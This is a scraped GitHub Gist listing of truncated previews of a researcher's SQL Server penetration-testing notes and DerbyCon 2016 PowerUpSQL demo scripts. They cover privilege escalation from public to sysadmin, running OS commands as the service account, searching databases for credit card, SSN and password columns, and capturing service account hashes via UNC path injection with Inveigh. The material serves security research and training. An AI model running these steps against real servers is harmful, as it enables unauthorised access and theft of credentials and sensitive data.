Skip to content

Instantly share code, notes, and snippets.

View nullbind's full-sized avatar

Scott Sutherland nullbind

View GitHub Profile
@nullbind
nullbind / xp_regwrite - allow non sysadmin execution
Last active February 15, 2021 10:28
SQL Server registry hack that allows non sysadmin logins to use xp_regwrite to access senstive registry locations.
Below is a basic SQL Server registry hack that allows non sysadmin logins to use xp_regwrite to access senstive registry locations.
Scenario
--------
Give Public role members privileges to execute xp_regwrite.
GRANT EXEC ON OBJECT::master.dbo.xp_regwrite TO [Public]
Issue
-----
@nullbind
nullbind / ADFS Notes
Last active March 19, 2020 16:52
ADFS Notes
Below are some notes for grabbing a list of domain users and other information via ADFS using acquired credentials.
Install Apps
Download and install visual studio 10
Downoad and install the Lync SDK
https://www.microsoft.com/en-us/download/details.aspx?id=36824 (deprecated)
http://go.microsoft.com/fwlink/?LinkID=248583
@nullbind
nullbind / Identify Shared SA Accounts
Created September 12, 2016 18:34
Testing for shared SA account without knowing the password.
Below is an overview of how to test for shared SA accounts in SQL Server without knowing the password.
Requirements
- sysadmin privileges on SQL Server
Process
- dump spn or provide sql server list
- enable ad-hoc queries, or create a link to sql servers on target list
- submit query to each sql server, if the sa password is the same as the local instance then the query will work.
@nullbind
nullbind / DerbyCon2016 - SQL Server Discovery Demo
Created September 25, 2016 13:22
DerbyCon2016 - SQL Server Discovery Demo
# Import the module
Import-Module C:\PowerUpSQL-master\PowerUpSQL.psd1
# Discover local SQL Server instances
Get-SQLInstanceLocal -Verbose
# Discover SQL Server instances on the domain
Get-SQLInstanceDomain -Verbose | Format-Table -AutoSize
# Discover shared SQL Server service accounts
@nullbind
nullbind / DerbyCon2016 - SQL Server Privilege Escalation Demo - Public to Sysadmin
Last active September 16, 2019 04:58
DerbyCon2016 - SQL Server Privilege Escalation Demo - Public to Sysadmin
# Import the module
Import-Module C:\PowerUpSQL-master\PowerUpSQL.psd1
# Discover domain SQL Servers, test access as the current domain user,
# and store a list of SQL Servers that they can log into
$Targets = Get-SQLInstanceDomain -Verbose |
Get-SQLConnectionTestThreaded -Verbose -Threads 10 |
Where-Object {$_.Status -like "Accessible"}
@nullbind
nullbind / DerbyCon2016 - SQL Server Privilege Escalation Demo - Database Links
Last active June 16, 2020 15:44
DerbyCon2016 - SQL Server Privilege Escalation Demo - Database Links
@nullbind
nullbind / DerbyCon2016 - SQL Server Privilege Escalation Demo - Execute as Service Account
Last active September 16, 2019 04:58
DerbyCon2016 - SQL Server Privilege Escalation Demo - Execute as Service Account
# Determine which SQL Server instances on the domain the current Windows account can log into
# This time we store the discovery information as a variable so we can execute attacks against
# accessible SQL Servers without having to go through discovery against
# Note you can also filter out the "$" character to remove machine service accounts from the list
$Targets = Get-SQLInstanceDomain -Verbose |
Get-SQLConnectionTestThreaded -Verbose -Threads 10 |
Where-Object {$_.Status -like "Accessible"}
# Run operating commands as the service account.
# Note: This requires sysadmin privileges
@nullbind
nullbind / DerbyCon2016 - SQL Server Data Discovery Demo
Last active September 16, 2019 04:58
DerbyCon2016 - SQL Server Data Discovery Demo
# One liner for finding potentially sensitive data in accessible databases based on column name
Get-SQLInstanceDomain -Verbose |
Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword "credit,ssn,password" –SampleSize 2 –ValidateCC –NoDefaults |
Export-CSV –NoTypeInformation c:\temp\datasample.csv
# Get list of domain sql servers that can be logged into
$Targets = Get-SQLInstanceDomain -Verbose |
Get-SQLConnectionTestThreaded -Verbose -Threads 10 |
Where-Object {$_.Status -like "Accessible"}
@nullbind
nullbind / DerbyCon2016 - SQL Server Privilege Escalation Demo - UNC Path Injection
Created September 25, 2016 16:06
DerbyCon2016 - SQL Server Privilege Escalation Demo - UNC Path Injection
# Import the PowerUpSQL module
Import-Module C:\PowerUpSQL-master\PowerUpSQL.psd1
# Import the Inveigh module
Import-Module C:\PowerUpSQL-master\Scripts\3rdparty\Inveigh.ps1
# Download and import Get-SQLServiceAccountPwHashes.ps1
# Source: https://github.com/NetSPI/PowerUpSQL/blob/master/scripts/pending/Get-SQLServiceAccountPwHashes.ps1
Import-Module C:\PowerUpSQL-master\Scripts\Pending\Get-SQLServiceAccountPwHashes.ps1
@nullbind
nullbind / PowerShell string builder example
Created October 21, 2016 19:51
PowerShell string builder example
source: http://stackoverflow.com/questions/7801651/powershell-and-stringbuilder
Function MyStringFunc([String]$line) {
$r = New-Object -TypeName "System.Collections.Generic.List``1[[System.String]]";
$sb = New-Object -TypeName "System.Text.StringBuilder";
foreach ($c in $line) {
[void]$sb.Append($c);
$r.Add($sb.ToString());
}